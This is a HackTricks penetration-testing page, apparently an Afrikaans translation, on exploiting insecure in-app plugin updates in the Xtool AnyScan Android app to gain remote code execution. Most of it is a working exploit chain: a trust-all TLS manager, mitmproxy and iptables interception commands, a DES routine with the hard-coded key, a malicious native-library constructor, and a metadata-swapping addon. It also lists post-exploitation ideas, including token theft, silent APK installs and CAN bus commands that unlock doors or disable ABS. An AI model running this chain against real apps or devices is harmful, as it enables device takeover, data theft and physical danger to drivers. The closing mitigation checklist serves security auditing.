hacktricks/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md

125 lines
6.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Onveilige In-App Opdateringsmeganismes Afgeleide Kode-uitvoering via Kwaadwillige Plugins
{{#include ../../banners/hacktricks-training.md}}
Baie Android-toepassings implementeer hul **eie “plugin” of “dinamiese kenmerk” opdateringskanale** in plaas van om die Google Play Store te gebruik. Wanneer die implementering onveilig is, kan 'n aanvaller wat die verkeer kan onderskep **arbitraire nativ kode verskaf wat binne die app-proses gelaai sal word**, wat lei tot volle Afgeleide Kode-uitvoering (RCE) op die toestel en in sommige gevalle op enige eksterne toestel wat deur die app beheer word (motors, IoT, mediese toestelle …).
Hierdie bladsy som 'n werklike kwesbaarheidsketting op wat in die Xtool **AnyScan** motor-diagnose app (v4.40.11 → 4.40.40) gevind is en generaliseer die tegniek sodat jy ander Android-toepassings kan auditeer en die mis-konfigurasie kan wapen tydens 'n rooi-span betrokkenheid.
---
## 1. Identifisering van 'n Onveilige TLS TrustManager
1. Decompileer die APK met jadx / apktool en lokaliseer die netwerkstapel (OkHttp, HttpUrlConnection, Retrofit…).
2. Soek vir 'n **aangepaste `TrustManager`** of `HostnameVerifier` wat blindelings elke sertifikaat vertrou:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
```
3. As dit teenwoordig is, sal die toepassing **enige TLS-sertifikaat** aanvaar → jy kan 'n deursigtige **MITM-proxy** met 'n self-onderteken sertifikaat laat loop:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. Omgekeerde Ingenieurswese van die Opdatering Metadata
In die AnyScan geval aktiveer elke app-lancering 'n HTTPS GET na:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
Die responsliggaam is 'n **XML-dokument** waarvan die `<FileData>` knope **Base64-gecodeerde, DES-ECB versleutelde** JSON bevat wat elke beskikbare plugin beskryf.
Tipiese jagstappe:
1. Vind die kripto-routine (bv. `RemoteServiceProxy`) en herstel:
* algoritme (DES / AES / RC4 …)
* werkingmodus (ECB / CBC / GCM …)
* hard-gecodeerde sleutel / IV (dikwels 56-bis DES sleutels of 128-bis AES sleutels in konstantes)
2. Her-implementeer die funksie in Python om die metadata te ontsleutel / te versleutel:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. Skep 'n Kwaadwillige Plugin
1. Kies enige legitieme plugin ZIP en vervang die inheemse biblioteek met jou payload:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
```
```bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Werk die JSON-metadata op sodat `"FileName" : "PWNED.zip"` en `"DownloadURL"` na jou HTTP-bediener wys.
3. DES-enkripteer + Base64-kodeer die gewysigde JSON en kopieer dit terug binne die onderskepte XML.
## 4. Lewer die Payload met mitmproxy
`addon.py` voorbeeld wat *stilweg* die oorspronklike metadata verwissel:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
```
Voer 'n eenvoudige webbediener uit om die kwaadwillige ZIP te huisves:
```bash
python3 -m http.server 8000 --directory ./payloads
```
Wanneer die slagoffer die app begin, sal dit:
* ons vervalste XML oor die MITM-kanaal verkry;
* dit met die hard-gekodeerde DES-sleutel ontcijfer en ontleed;
* `PWNED.zip` aflaai → uitpak binne private stoor;
* `dlopen()` die ingeslote *libscan_x64.so*, wat ons kode onmiddellik uitvoer **met die app se toestemmings** (kamera, GPS, Bluetooth, lêerstelsel, …).
Omdat die plugin op skyf gekas is, **bly die agterdeur oor herlaai** en loop elke keer wanneer die gebruiker die verwante funksie kies.
## 5. Post-Exploitation Idees
* Steel sessie koekies, OAuth tokens, of JWTs wat deur die app gestoor word.
* Laat 'n tweede-fase APK val en installeer dit stilweg via `pm install` (die app het reeds `REQUEST_INSTALL_PACKAGES`).
* Misbruik enige gekonnekteerde hardeware in die AnyScan-scenario kan jy arbitrêre **OBD-II / CAN bus opdragte** stuur (deure ontgrendel, ABS deaktiveer, ens.).
---
### Opsporing & Versagting Kontrolelys (blou span)
* NOOIT 'n produksiebou met 'n pasgemaakte TrustManager/HostnameVerifier wat sertifikaatvalidasie deaktiveer, stuur nie.
* Moet nie uitvoerbare kode van buite Google Play aflaai nie. As jy *moet*, teken elke plugin met dieselfde **apkSigning v2** sleutel en verifieer die handtekening voordat jy laai.
* Vervang swak/hard-gekodeerde kripto met **AES-GCM** en 'n bediener-kant draaiende sleutel.
* Verifieer die integriteit van afgelaaide argiewe (handtekening of ten minste SHA-256).
---
## Verwysings
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
{{#include ../../banners/hacktricks-training.md}}